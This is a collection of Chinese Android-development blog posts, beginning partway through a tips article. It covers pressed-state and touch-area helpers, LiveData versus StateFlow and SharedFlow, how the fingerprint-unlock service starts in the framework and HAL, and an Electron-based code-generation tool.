8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
最后,需要处理单例中已注册引导的释放逻辑,将guideMap集合清空。

object GuideManager {
...
fun release() {
guideMap.clear()
}
}
1.
2.
3.
4.
5.
6.
以上实现是简易版的引导管理器,使用时还可以结合具体业务场景,添加更多的引导拦截策略,例如当前业务场景处于某个状态时,所有引导都不展示,则可以在GuideManager.show(guideType)中添加个性化处理逻辑。

02一行代码给View增加按下态
在Android开发中,经常会遇到UE要求添加按下态效果。常规的写法是使用selector,分别设置按下态和默认态的资源,代码示例如下:

<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="@drawable/XX_pressed" android:state_selected="true"/>
<item android:drawable="@drawable/XX_pressed" android:state_pressed="true"/>
<item android:drawable="@drawable/XX_normal"/>
</selector>
1.
2.
3.
4.
5.
6.
UE提供的按下态效果,有的时候仅需改变透明度。这种效果也可以用上述方法实现,但缺点也很明显,需要增加额外的按下态资源,影响包体积。这个时候我们可以使用alpha属性,代码如下:

<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="@drawable/XX" android:alpha="XX" android:state_selected="true"/>
<item android:drawable="@drawable/XX" android:alpha="XX" android:state_pressed="true"/>
<item android:drawable="@drawable/XX"/>
</selector>
1.
2.
3.
4.
5.
6.
这种写法,不需要额外增加按下态资源,但也有一些缺点:该属性Android 6.0以下不生效。

我们可以利用Android的事件分发机制,封装一个工具类,从而达到一行代码实现按下态。代码如下:

@JvmOverloads
fun View.addPressedState(pressedAlpha: Float = 0.2f) = run {
setOnTouchListener { v, event ->
when (event.action) {
MotionEvent.ACTION_DOWN -> v.alpha = pressedAlpha
MotionEvent.ACTION_CANCEL, MotionEvent.ACTION_UP -> v.alpha = 1.0f
}
// 注意这里要return false
false
}
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
用户对屏幕的操作,可以简单划分为以下几个最基础的事件:



Android的View是树形结构的,View可能会重叠在一起,当点击的地方有多个View可以响应点击事件时,为了确定该让哪个View处理这次点击事件,就需要事件分发机制来帮忙。事件收集之后最先传递给 Activity,然后依次向下传递,大致如下:Activity -> PhoneWindow -> DecorView -> ViewGroup -> … -> View。如果没有任何View消费掉事件,那么这个事件会按照反方向回传,最终传回给Activity,如果最后 Activity 也没有处理,本次事件才会被抛弃。这是一个非常典型的责任链模式。整个过程,有三个非常重要的方法:



以上三个方法均有一个布尔类型的返回值,通过返回 true 和 false 来控制事件传递的流程。这三个方法的调用关系,可以用下面的伪代码描述:

public boolean dispatchTouchEvent(MotionEvent ev) {
boolean consume = false;
if (onInterceptTouchEvent(ev)) {
consume = onTouchEvent(ev);
} else {
consume = child.dispatchTouchEvent(ev);
}
return consume;
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
对于一个View来说,它可以注册很多事件监听器,例如单击事件、长按事件、触摸事件,并且View自身也有onTouchEvent方法,这些与事件相关的方法由View的dispatchTouchEvent方法管理,事件的调度顺序是onTouchListener -> onTouchEvent -> onLongClickListener -> onClickListener。所以我们可以通过为View添加onTouchListener来处理View的按下、抬起效果。需要注意的是,如果onTouchListener中的onTouch返回true,不会再继续执行onTouchEvent,后面的事件都不会响应,所以我们需要在工具类中return false。

03一行代码扩大 Andriod 点击区域
在Android 开发中,经常会遇到扩大某些按钮点击区域的场景,如某个页面关闭按钮比较小,为防止误触或点不到,需要扩大其点击区域。

常见的扩大点击区域的思路有三个:

1. 修改布局。如增加按钮的内padding,或者外面嵌套一层Layout,并在外层Layout设置监听。

2. 自定义事件处理。如在父布局中监听点击事件,并设置各组件的响应点击区域,在对应点击区域里时就转发到对应组件的点击。

3. 使用 Android 官方提供的TouchDelegate 设置点击事件。

其中第一种方式弊端很明显,会增加业务复杂度,降低渲染性能;或者当布局位置不够时,增加padding或添加外层布局就行不通了。

第二种方式可以从根本上扩大点击区域,但是问题依旧明显:编码的复杂度太高,每次扩大点击区域都意味着需要根据实际需求去“重复造轮子”:写一堆获取位置、判定等代码。

第三种方式是Android官方提供的一个解决方案,能够比较优雅地解决这个问题,如下描述:

Helper class to handle situations where you want a view to have a larger touch area than its actual view bounds. The view whose touch area is changed is called the delegate view. This class should be used by an ancestor of the delegate. To use a TouchDelegate, first create an instance that specifies the bounds that should be mapped to the delegate and the delegate view itself.

当然,如果使用 Android 的TouchDelegate,很多时候还不能满足我们需求,比如我们想在一个父(祖先)View 中给多个子 View 扩大点击区域,如在一个互动Bar上有点赞、收藏、评论等按钮。这时可以在自定义TouchDelegate时维护一个View Map,该Map 中保存子View和对应需要扩大的区域,然后在点击转发逻辑里动态计算该点击事件属于哪个子View区域,并进行转发。关键代码如下:

// 已省略无关代码
public class MyTouchDelegate extends TouchDelegate {
/** 需要扩大点击区域的子 View 和其点击区域的集合 */
private Map<View, ExpandBounds> mDelegateViewExpandMap = new HashMap<>();

@Override
public boolean onTouchEvent(MotionEvent event) {
// ……
// 遍历拿到对应的view和扩大区域,其它逻辑跟原始逻辑类似
for (Map.Entry<View, ExpandBounds> entry : mDelegateViewExpandMap.entrySet()) {
View child = entry.getKey();
ExpandBounds childBounds = entry.getValue()
}
// ……
}

public void addExpandChild(View delegateView, int left, int top, int right, int bottom) {
MyTouchDelegate.ExpandBounds expandBounds = new MyouchDelegate.ExpandBounds(new Rect(), left, top, right, bottom);
this.mDelegateViewExpandMap.put(delegateView, expandBounds);
}
}

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
更进一步的,可以写个工具类,或者Kotlin扩展方法,输入需要扩大点击区域的View、祖先View、以及对应的扩大大小,从而达到一行代码扩大一个View的点击区域的目的。

public static void expandTouchArea(View ancestor, View child, int left, int top, int right, int bottom) {
if (child != null && ancestor != null) {
MyTouchDelegate touchDelegate;
if (ancestor.getTouchDelegate() instanceof MyTouchDelegate) {
touchDelegate = (MyTouchDelegate)ancestor.getTouchDelegate();
touchDelegate.addExpandChild(child, left, top, right, bottom);
} else {
touchDelegate = new MyTouchDelegate(child, left, top, right, bottom);
ancestor.setTouchDelegate(touchDelegate);
}
}
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
注意: TouchDelegate在Android8.0及其以前有个bug,如果需要兼容低版本需要留意下,在通过delegate触发子View点击事件之后,父View自己监听的点击事件就永远无法被触发了,原因在于TouchDelegate中对点击事件转发的处理中(onTouchEvent)对MotionEvent.ACTION_DOWN)有问题,不在点击范围内时,未对mDelegateTargeted变量重置为false,导致父view再也收不到点击事件,无法处理click等操作,相关Android源码如下:

// …… 已省略无关代码
public boolean onTouchEvent(MotionEvent event) {
// ……
boolean sendToDelegate = false;
boolean handled = false;
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
Rect bounds = mBounds;
if (bounds.contains(x, y)) {
mDelegateTargeted = true;
sendToDelegate = true;
} // if的判断为false时未重置 mDelegateTargeted 的值为false
break;
// ……
if (sendToDelegate) {
// 转发代理view
handled = delegateView.dispatchTouchEvent(event);
}
return handled;
// ……
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
如果需要兼容低版本,则可以继承自TouchDelegate,覆写 onTouchEvent方法,在事件不在代理范围内时,重置mDelegateTargeted 和sendToDelegate值为false,如下:

……
if (bounds.contains(x, y)) {
mDelegateTargeted = true;
sendToDelegate = true;
} else {
mDelegateTargeted = false;
sendToDelegate = false;
}
// 或者如9.0之后源码的写法
mDelegateTargeted = mBounds.contains(x, y);
sendToDelegate = mDelegateTargeted;
……
-----------------------------------
©著作权归作者所有:来自51CTO博客作者百度Geek说的原创作品,请联系作者获取转载授权,否则将追究法律责任
百度程序员Android开发小技巧
https://blog.51cto.com/u_15082365/5305270

收起阅读 »

不做跟风党,LiveData,StateFlow,SharedFlow 使用场景对比

Android 中加载 UI 数据不是一件轻松的事,开发者经常需要处理各种边界情况。如各种生命周期和因为「配置更改」导致的 Activity 的销毁与重建。因此普遍处理方式是使用分层的架构。这样开发者就可以编写独立于 UI 的代码,而无需过多考虑生命周期,配...
继续阅读 »

Android 常用的分层架构

Android 中加载 UI 数据不是一件轻松的事,开发者经常需要处理各种边界情况。如各种生命周期和因为「配置更改」导致的 Activity 的销毁与重建。

「配置更改」的场景有很多:屏幕旋转,切换至多窗口模式,调整窗口大小,浅色模式与暗黑模式的切换,更改默认语言,更改字体大小等等

因此普遍处理方式是使用分层的架构。这样开发者就可以编写独立于 UI 的代码,而无需过多考虑生命周期,配置更改等场景。 例如,我们可以在表现层(Presentation Layer)的基础上添加一个领域层(Domain Layer) 来保存业务逻辑,使用数据层(Data Layer)对上层屏蔽数据来源(数据可能来自远程服务,可能是本地数据库)。

img

表现层可以分成具有不同职责的组件:

  • View:处理生命周期回调,用户事件和页面跳转,Android 中主要是 Activity 和 Fragment

  • Presenter 或 ViewModel:向 View 提供数据,并不了解 View 所处的生命周期,通常生命周期比 View 长

Presenter 和 ViewModel 向 View 提供数据的机制是不同的,简单来说:

  • Presenter 通过持有 View 的引用并直接调用操作 View,以此向 View 提供数据

  • ViewModel 通过将可观察的数据暴露给观察者来向 View 提供数据

官方提供的可观察的数据 组件是 LiveData。Kotlin 1.4.0 正式版发布之后,开发者有了新的选择:StateFlowSharedFlow

最近网上流传出「LiveData 被弃用,应该使用 Flow 替代 LiveData」的声音。

LiveData 真的有那么不堪吗?Flow 真的适合你使用吗?

不人云亦云,只求接近真相。我们今天来讨论一下这两种组件。

ViewModel + LiveData

为了实现高效地加载 UI 数据,获得最佳的用户体验,应实现以下目标:

  • 目标1:已经加载的数据无需在「配置更改」的场景下再次加载

  • 目标2:避免在非活跃状态(不是 STARTEDRESUMED)下加载数据和刷新 UI

  • 目标3:「配置更改」时不会中断的工作

Google 官方在 2017 年发布了架构组件库:使用 ViewModel + LiveData 帮助开发者实现上述目标。

img

相信很多人在官方文档中见过这个图,ViewModelActivity/Fragment 的生命周期更长,不受「配置更改」导致 Activity/Fragment 重建的影响。刚好满足了目标 1 和目标 3。

LiveData 是可生命周期感知的。 新值仅在生命周期处于 STARTEDRESUMED 状态时才会分配给观察者,并且观察者会自动取消注册,避免了内存泄漏。 LiveData 对实现目标 1 和 目标 2 很有用:它缓存其持有的数据的最新值,并将该值自动分派给新的观察者。

LiveData 的特性

既然有声音说「LiveData 要被弃用了」,那么我们先对 LiveData 进行一个全面的了解。聊聊它能做什么,不能做什么,以及使用过程中有哪些要注意的地方。

LiveData 是 Android Jetpack Lifecycle 组件中的内容。属于官方库的一部分,Kotlin/Java 均可使用。

一句话概括 LiveDataLiveData 是可感知生命周期的,可观察的,数据持有者

它的能力和作用很简单:更新 UI

它有一些可以被认为是优点的特性:

  • 观察者的回调永远发生在主线程

  • 仅持有单个且最新的数据

  • 自动取消订阅

  • 提供「可读可写」和「仅可读」两个版本收缩权限

  • 配合 DataBinding 实现「双向绑定」

观察者的回调永远发生在主线程

这个很好理解,LiveData 被用来更新 UI,因此 ObserveronChanged() 方法在主线程回调。

img

背后的原理也很简单,LiveDatasetValue() 发生在主线程(非主线程调用会抛异常,postValue() 内部会切换到主线程调用 setValue())。之后遍历所有观察者的 onChanged() 方法。

仅持有单个且最新的数据

作为数据持有者(data holder),LiveData 仅持有 单个最新 的数据。

单个且最新,意味着 LiveData 每次持有一个数据,并且新数据会覆盖上一个。

这个设计很好理解,数据决定了 UI 的展示,绘制 UI 时肯定要使用最新的数据,「过时的数据」应该被忽略。

配合 Lifecycle,观察者只会在活跃状态下(STARTEDRESUMED)接收到 LiveData 持有的最新的数据。在非活跃状态下绘制 UI 没有意义,是一种资源的浪费。

自动取消订阅

这是 LiveData 可感知生命周期的重要表现,自动取消订阅意味着开发者无需手动写那些取消订阅的模板代码,降低了内存泄漏的可能性。

背后原理是在生命周期处于 DESTROYED 时,移除观察者。

img

提供「可读可写」和「仅可读」两个版本

img

public abstract class LiveData<T> {
@MainThread
protected void setValue(T value) {
// ...
}

protected void postValue(T value) {
// ...
}

@Nullable
public T getValue() {
// ...
}
}

public class MutableLiveData<T> extends LiveData<T> {
@Override
public void postValue(T value) {
super.postValue(value);
}
@Override
public void setValue(T value) {
super.setValue(value);
}
}

抽象类 LiveDatasetValue()postValue() 是 protected,而其实现类 MutableLiveData 均为 public。

LiveData 提供了 mutable(MutableLiveData) 和 immutable(LiveData) 两个类,前者「可读可写」,后者「仅可读」。通过权限的细化,让使用者各取所需,避免由于权限泛滥导致的数据异常。

img

class SharedViewModel : ViewModel() {
private val _user : MutableLiveData<User> = MutableLiveData()

val user : LiveData<User> = _user

fun setUser(user: User) {
_user.posetValue(user)
}
}

配合 DataBinding 实现「双向绑定」

LiveData 配合 DataBinding 可以实现 更新数据自动驱动 UI 变化,如果使用「双向绑定」还能实现 UI 变化影响数据的变化。


以下也是 LiveData 的特性,但我不会将其归类为「设计缺陷」或「LiveData 的缺点」。作为开发者应了解这些特性并在使用过程中正确处理它们。

  • value 是 nullable 的

  • 在 fragment 订阅时需要传入正确的 lifecycleOwner

  • LiveData 持有的数据是「事件」时,可能会遇到「粘性事件

  • LiveData 是不防抖的

  • LiveDatatransformation 工作在主线程

value 是 nullable 的

img

@Nullable
public T getValue() {
Object data = mData;
if (data != NOT_SET) {
return (T) data;
}
return null;
}

LiveData#getValue() 是可空的,使用时应该注意判空。

使用正确的 lifecycleOwner

fragment 调用 LiveData#observe() 方法时传入 thisviewLifecycleOwner 是不一样的。

原因之前写过,此处不再赘述。感兴趣的小伙伴可以移步查看

AS 在 lint 检查时会避免开发者犯此类错误。

img

粘性事件

官方在 [] 在 SnackBar,Navigation 和其他事件中使用 LiveData(SingleLiveEvent 案例) 一文中描述了一种「数据只会消费一次」的场景。如展示 Snackbar,页面跳转事件或弹出 Dialog。

由于 LiveData 会在观察者活跃时将最新的数据通知给观察者,则会产生「粘性事件」的情况。

如点击 button 弹出一个 Snackbar,在屏幕旋转时,lifecycleOwner 重建,新的观察者会再次调用 Livedata#observe(),因此 Snackbar 会再次弹出。

解决办法是:将事件作为状态的一部分,在事件被消费后,不再通知观察者。这里推荐两种解决方案:

默认不防抖

setValue()/postValue() 传入相同的值多次调用,观察者的 onChanged() 会被多次调用。

严格讲这不算一个问题,看具体的业务场景,处理也很容易,官方在 Transformations 中提供了 distinctUntilChanged() 方法,配合官方提供的扩展函数,如下使用即可:

img

override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)

viewModel.headerText.distinctUntilChanged().observe(viewLifecycleOwner) {
header.text = it
}
}

transformation 工作在主线程

有些时候我们从 repository 层拿到的数据需要进行处理,例如从数据库获得 User List,我们想根据 id 获取某个 User。

此时我们可以借助 MediatorLiveDataTransformatoins 来实现:

img

class MainViewModel {
val viewModelResult = Transformations.map(repository.getDataForUser()) { data ->
convertDataToMainUIModel(data)
}
}

mapswitchMap 内部均是使用 MediatorLiveData#addSource() 方法实现的,而该方法会在主线程调用,使用不当会有性能问题。

img

@MainThread
public <S> void addSource(@NonNull LiveData<S> source, @NonNull Observer<? super S> onChanged) {
Source<S> e = new Source<>(source, onChanged);
Source<?> existing = mSources.putIfAbsent(source, e);
if (existing != null && existing.mObserver != onChanged) {
throw new IllegalArgumentException(
"This source was already added with the different observer");
}
if (existing != null) {
return;
}
if (hasActiveObservers()) {
e.plug();
}
}

我们可以借助 Kotlin 协程和 RxJava 实现异步任务,最后在主线程上返回 LiveData。如 androidx.lifecycle:lifecycle-livedata-ktx 提供了这样的写法

img

val result: LiveData<Result> = liveData {
val data = someSuspendingFunction() // 协程中处理
emit(data)
}

LiveData 小结

  • LiveData 作为一个 可感知生命周期的,可观察的,数据持有者,被设计用来更新 UI

  • LiveData 很轻,功能十分克制,克制到需要配合 ViewModel 使用才能显示其价值

  • 由于 LiveData 专注单一功能,因此它的一些方法使用上是有局限性的,即通过设计来强制开发者按正确的方式编码(如观察者仅在主线程回调,避免了开发者在子线程更新 UI 的错误操作)

  • 由于 LiveData 专注单一功能,如果想在表现层之外使用它,MediatorLiveData 的操作数据的能力有限,仅有的 mapswitchMap 发生在主线程。可以在 switchMap 中使用协程或 RxJava 处理异步任务,最后在主线程返回 LiveData。如果项目中使用了 RxJavaAutoDispose,甚至可以不使用 LiveData,关于 Kotlin 协程的 Flow,我们后文介绍。

  • 笔者不喜欢将 LiveData 改造成 bus 使用,让组件做其分内的事(此条属于个人观点)

Flow

Flow 是 Kotlin 语言提供的功能,属于 Kotlin 协程的一部分,仅 Kotlin 使用。

Kotlin 协程被用来处理异步任务,而 Flow 则是处理异步数据流。

那么 suspend 方法和 Flow 的区别是什么?各自的使用场景是哪些?

一次性调用(One-shot Call)与数据流(data stream)

img

假如我们的 app 的某一屏里显示以下元素,其中红框部分实时性不高,不必很频繁的刷新,转发和点赞属于实时性很高的数据,需要定时刷新。

img

对于实时性不高的数据,我们可以使用 Kotlin 协程处理(此处数据的请求是异步任务):

suspend fun loadData(): Data

uiScope.launch {
 val data = loadData()
 updateUI(data)
}

而对于实时性较高的数据,挂起函数就无能为力了。有的小伙伴可能会说:「返回个 List 不就行了嘛」。其实无论返回什么类型,这种操作都是 One-shot Call,一次性的请求,有了结果就结束。

示例中的点赞和转发,需要一个 数据是异步计算的,能够 按顺序 提供 多个值 的结构,在 Kotlin 协程中我们有 Flow。

fun dataStream(): Flow<Data>

uiScope.launch {
 dataStream().collect { data ->
    updateUI(data)
}
}

当点赞或转发数发生变化时,updateUI() 会被执行,UI 根据最新的数据更新

Flow 的三驾马车

FLow 中有三个重要的概念:

  • 生产者(Producer)

  • 消费者(Consumer)

  • 中介(Intermediaries)

生产者提供数据流中的数据,得益于 Kotlin 协程,Flow 可以 异步地生产数据

消费者消费数据流内的数据,上面的示例中,updateUI() 方法是消费者。

中介可以对数据流中的数据进行更改,甚至可以更改数据流本身,我们可以借助官方视频中的动画来理解:

img

在 Android 中,数据层的 DataSource/Repository 是 UI 数据的生产者;而 view/ViewModel 是消费者;换一个角度,在表现层中,view 是用户输入事件的生产者(例如按钮的点击),其它层是消费者。

「冷流」与「热流」

你可能见过这样的描述:「流是冷的」

img

简单来说,冷流指数据流只有在有消费者消费时才会生产数据。

val dataFlow = flow {
   // 代码块只有在有消费者 collect 后才会被调用
   val data = dataSource.fetchData()
   emit(data)
}

...

dataFlow.collect { ... }

有一种特殊的 Flow,如 StateFlow/SharedFlow ,它们是热流。这些流可以在没有活跃消费者的情况下存活,换句话说,数据在流之外生成然后传递到流。

BroadcastChannel` 未来会在 Kotlin 1.6.0 中弃用,在 Kotlin 1.7.0 中删除。它的替代者是 `StateFlow`  `SharedFlow

StateFlow

StateFlow 也提供「可读可写」和「仅可读」两个版本。

SateFlow` 实现了 `SharedFlow`,`MutableStateFlow` 实现 `MutableSharedFlow

img

StateFlowLiveData 十分像,或者说它们的定位类似。

StateFlowLiveData 有一些相同点:

  • 提供「可读可写」和「仅可读」两个版本(StateFlowMutableStateFlow

  • 它的值是唯一的

  • 它允许被多个观察者共用 (因此是共享的数据流)

  • 它永远只会把最新的值重现给订阅者,这与活跃观察者的数量是无关的

  • 支持 DataBinding

它们也有些不同点:

  • 必须配置初始值

  • value 空安全

  • 防抖

MutableStateFlow 构造方法强制赋值一个非空的数据,而且 value 也是非空的。这意味着 StateFlow 永远有值

img

StateFlow 的 emit()tryEmit() 方法内部实现是一样的,都是调用 setValue()

StateFlow 默认是防抖的,在更新数据时,会判断当前值与新值是否相同,如果相同则不更新数据。

img

SharedFlow

SateFlow 一样,SharedFlow 也有两个版本:SharedFlowMutableSharedFlow

img

那么它们有什么不同?

  • MutableSharedFlow 没有起始值

  • SharedFlow 可以保留历史数据

  • MutableSharedFlow 发射值需要调用 emit()/tryEmit() 方法,没有 setValue() 方法

img

MutableStateFlow 不同,MutableSharedFlow 构造器中是不能传入默认值的,这意味着 MutableSharedFlow 没有默认值。

val mySharedFlow = MutableSharedFlow<Int>()
val myStateFlow = MutableStateFlow<Int>(0)
...
mySharedFlow.emit(1)
myStateFlow.emit(1)

SateFlowSharedFlow 还有一个区别是 SateFlow 只保留最新值,即新的订阅者只会获得最新的和之后的数据。

SharedFlow 根据配置可以保留历史数据,新的订阅者可以获取之前发射过的一系列数据。

后文会介绍背后的原理

它们被用来应对不同的场景:UI 数据是状态还是事件

状态(State)与事件(Event)

状态可以是的 UI 组件的可见性,它始终具有一个值(显示/隐藏)

而事件只有在满足一个或多个前提条件时才会触发,不需要也不应该有默认值

为了更好地理解 SateFlowSharedFlow 的使用场景,我们来看下面的示例:

  1. 用户点击登录按钮

  2. 调用服务端验证登录合法性

  3. 登录成功后跳转首页

我们先将步骤 3 视为 状态 来处理:

img

使用状态管理还有与 LiveData 一样的「粘性事件」问题,如果在 ViewNavigationState 中我们的操作是弹出 snackbar,而且已经弹出一次。在旋转屏幕后,snackbar 会再次弹出。

img

如果我们将步骤 3 作为 事件 处理:

img

使用 SharedFlow 不会有「粘性事件」的问题,MutableSharedFlow 构造函数里有一个 replay 的参数,它代表着可以对新订阅者重新发送多个之前已发出的值,默认值为 0。

img

SharedFlow 在其 replayCache 中保留特定数量的最新值。每个新订阅者首先从 replayCache 中取值,然后获取新发射的值。replayCache 的最大容量是在创建 SharedFlow 时通过 replay 参数指定的。replayCache 可以使用 MutableSharedFlow.resetReplayCache 方法重置。

replay 为 0 时,replayCache size 为 0,新的订阅者获取不到之前的数据,因此不存在「粘性事件」的问题。

StateFlowreplayCache 始终有当前最新的数据:

img

至此, StateFlowSharedFlow 的使用场景就很清晰了:

状态(State)用 StateFlow ;事件(Event)用 SharedFlow

StateFlow,SharedFlow 与 LiveData 的使用对比

LiveData StateFlow SharedFlow 在 ViewModel 中的使用

上图分别展示了 LiveDataStateFlowSharedFlowViewModel 中的使用。

其中 LiveDataViewModel 中使用 EventLiveData 处理「粘性事件

FlowViewModel 中使用 SharedFlow 处理「粘性事件

emit()` 方法是挂起函数,也可以使用 `tryEmit()

LiveData StateFlow SharedFlow 在 Fragment 中的使用

注意:Flow 的 collect 方法不能写在同一个 lifecycleScope

flowWithLifecyclelifecycle-runtime-ktx:2.4.0-alpha01 后提供的扩展方法

Flow 在 fragment 中的使用要比 LiveData 繁琐很多,我们可以封装一个扩展方法来简化:

img

关于 repeatOnLifecycle 的设计问题,可以移步 设计 repeatOnLifecycle API 背后的故事

使用 collect 方法时要注意一个问题。

img

这种写法是错误的!

viewModel.headerText.collect 在协程被取消前会一直挂起,这样后面的代码便不会执行。

Flow 与 RxJava

FlowRxJava 的定位很接近,限于篇幅原因,此处不展开讲,本节只罗列一下它们的对应关系:

  • Flow = (cold) Flowable / Observable / Single

  • Channel = Subjects

  • StateFlow = BehaviorSubjects (永远有值)

  • SharedFlow = PublishSubjects (无初始值)

  • suspend function = Single / Maybe / Completable

参考文档与推荐资源

总结

  • LiveData 的主要职责是更新 UI,要充分了解其特性,合理使用

  • Flow 可分为生产者,消费者,中介三个角色

  • 冷流和热流最大的区别是前者依赖消费者 collect 存在,而热流一直存在,直到被取消

  • StateFlowLiveData 定位相似,前者必须配置初始值,value 空安全并且默认防抖

  • StateFlowSharedFlow 的使用场景不同,前者适用于「状态」,后者适用于「事件」

回到文章开头的话题,LiveData 并没有那么不堪,由于其作用单一,功能简单,简单便意味着不易出错。所以在表现层中ViewModel 向 view 暴露 LiveData 是一个不错的选择。而在 RepositoryDataSource 中,我们可以利用 LiveData + 协程来处理数据的转换。当然,我们也可以使用功能更强大的 Flow

LiveDataStateFLowSharedFlow,它们都有着各自的使用场景。并且如果使用不当,都会或多或少地遇到一些所谓的「坑」。因此在使用某个组件时,要充分了解其设计缘由以及相关特性,否则就会掉进陷阱,收到不符合预期的行为。

关于我

人总是喜欢做能够获得正反馈(成就感)的事情,如果感觉本文内容对你有帮助的话,麻烦点亮一下👍,这对我很重要哦~

我是 Flywith24人只有通过和别人的讨论,才能知道我们自己的经验是否是真实的,加我微信交流,让我们共同进步。


作者:Flywith24
来源:https://juejin.cn/post/7007602776502960165

收起阅读 »

指纹解锁分析

systemServer进程会在ZygoteInit中进行创建,而ZygoteInit是Zygote进程启动的。 在systemServer进程的run方法中会启动重要服务其中就包括指纹解锁相对应的服务。 指纹解锁需要和Hal层进行交互,并对上层framewr...
继续阅读 »

systemServer进程会在ZygoteInit中进行创建,而ZygoteInit是Zygote进程启动的。


在systemServer进程的run方法中会启动重要服务其中就包括指纹解锁相对应的服务。
指纹解锁需要和Hal层进行交互,并对上层framewrok提供接口以实现解锁功能


整体流程可以大致分为:


1.SystemServer中调用startOtherService方法根据设备支持的功能启动对应的服务
该例中如果设备支持指纹解锁就执行接下来的方法:
启动指纹解锁对应的Service,也就是FingerprintService这个类


startOtherService方法:
image.png


startService:
image.png


2.可以看到会反射创建这个类的构造方法并把它添加到services中,接着执行这个类的onStart方法


image.png


FingerprintService这个类的onStart方法
image.png
3.FingerprintService这个类的onStart方法中可以看到创建了一个 FingerprintServiceWrapper()这个类。


发布服务保存在SystemServer中,可以看到这个服务对应的接口是
IFingerprintService.Stub


image.png


image.png


可以看到是在用了个线程池在调用这个run方法,接下来去看看这个Runnable接口做了什么操作
image.png


getFingerprintDaemon函数首先调用getService函数不断尝试链接HAL层的进程(IBiometricsFingerprint这个服务是在HAL层初始化的之后讲解),链接成功之后调用setNotify设置回调函数,最后加载用户相关数据。至此,Framework层已经启动完成。


image.png


BiometricsFingerprint


上面讲到FrameWork中会获取BiometricsFingerprint这个服务,这个服务是在哪个地方初始化的呢?


首先需要讲下Android.bp文件:



Android.bp的出现就是为了替换Android.mk文件,随着Android越来越庞大,module越来越多,编译时间也越来越长,而使用ninja在编译的并发处理上较make有很大的提升。Ninja的配置文件就是Android.bp,Android系统使用Blueprint和Soong工具来解析Android.bp转换生成ninja文件



详细内容及自定义文件可参考这篇博客 Android.bp文件详解


这里首先看下一些配置信息
这是一些注释信息:



cc_library_shared :编译成动态库,类似于Android.mk中的BUILD_SHARED_LIBRARY
cc_binary:编译成可执行文件,类似于Android.mk中的BUILD_EXECUTABLE
name :编译出的模块的名称,类似于Android.mk中的LOCAL_MODULE
srcs:源文件,类似于Android.mk中的LOCAL_SRC_FILES
local_include_dirs:指定路径查找头文件,类似于Android.mk中的LOCAL_C_INCLUDES
shared_libs:编译所依赖的动态库,类似于Android.mk中的LOCAL_SHARED_LIBRARIES
static_libs:编译所依赖的静态库,类似于Android.mk中的LOCAL_STATIC_LIBRARIES
cflags:编译flag,类似于Android.mk中的LOCAL_CFLAGS



image.png


Service.cpp是HAL层启动的入口文件。


1.首先通过BiometricsFingerprint::getInstance()实例化一个bio服务,不同厂商的指纹识别算法和逻辑也都在这个bibo服务中体现出来。这个方法里面会进行初始化HAL层关于指纹的一些初始化动作最后讲


2.接着设置用于RPC通信的线程数


3.接着把自己添加到线程池中,用于之后framework获取进行返回bibo服务


image.png


BiometricsFingerprint::getInstance()


该函数单利创建出来一个BiometricsFingerprint对象,接着看他的构造方法


image.png


BiometricsFingerprint构造方法,可以看到调用了openHal方法。
image.png
1.openHal方法第一步首先打开指纹HW模块,也就是获取厂商指纹模组的so



hw_get_module(FINGERPRINT_HARDWARE_MODULE_ID, &hw_mdl)



image.png


2.接着调用open方法


image.png


image.png


3.这个open方法主要是将厂商指纹模组模块的算法识别逻辑结果和HAL层进行绑定,设置回调通知。


image.png


大致流程:


首先将framework中的指纹解锁Service启动接着去获取HAL层的指纹解锁服务Service。
framework层的Service主要用于和HAL层进行通信(获取HAL层的Service)
HAL层的Service收到后会使用厂商自定义的指纹模组so模块对应的逻辑去判断是否是本人
最后结果在给到framework层响应

作者:北洋
来源:https://juejin.cn/post/7090362782767546398
收起阅读 »

Android自动生成代码,可视化脚手架之环境搭建

系列文章Github开源地址(源码及各项资料不间断进行更新):github.com/AbnerMing88…Hello,各位老铁,系列文章上一篇,简单大概熟悉了一下基本的功能,当然了这只是其中的一部分,随着需求的增加,各种方便我们日常开发的功能都会研发出来,那...
继续阅读 »

系列文章Github开源地址(源码及各项资料不间断进行更新):

github.com/AbnerMing88…

Hello,各位老铁,系列文章上一篇,简单大概熟悉了一下基本的功能,当然了这只是其中的一部分,随着需求的增加,各种方便我们日常开发的功能都会研发出来,那么对于这样的一个可视化工具,我们该如何开发出来呢?又需要掌握什么技术呢?环境如何搭建呢?这篇,咱们就简单的聊一聊。

可能很多老铁有疑问,为什么不直接以插件的形式在Android Studio中使用呢,这样直接IDE中就可以操作了,也不用再打开其他工具了,岂不是更方便,哎!小老弟,一开始我就是整的插件,还写了好几个功能,但有一个致命的问题是,视图的绘制,贼麻烦,大家感兴趣的可以试试,多个控件的摆放,还有,拖拽View的实现,亲自操刀试试就知道了,正因为各个视图的绘制比较麻烦,最终才选择了可视化工具的开发。

目前可视化工具采用的是Electron进行开发的,Electron 是一个使用 JavaScript、HTML 和 CSS 构建跨平台的桌面应用程序,它基于 Node.js 和 Chromium,被 Atom 编辑器和许多其他应用程序使用,也就是说使用Electron,您必须有一定的web开发经验,如果没有也没关系,后续您可以直接在我的模板中进行对应的修改即可,当然了,为了能够自己灵活的可视化,建议还是掌握一些Web的经验,编程语言之间的语法,基本互通,学起来也比较容易。

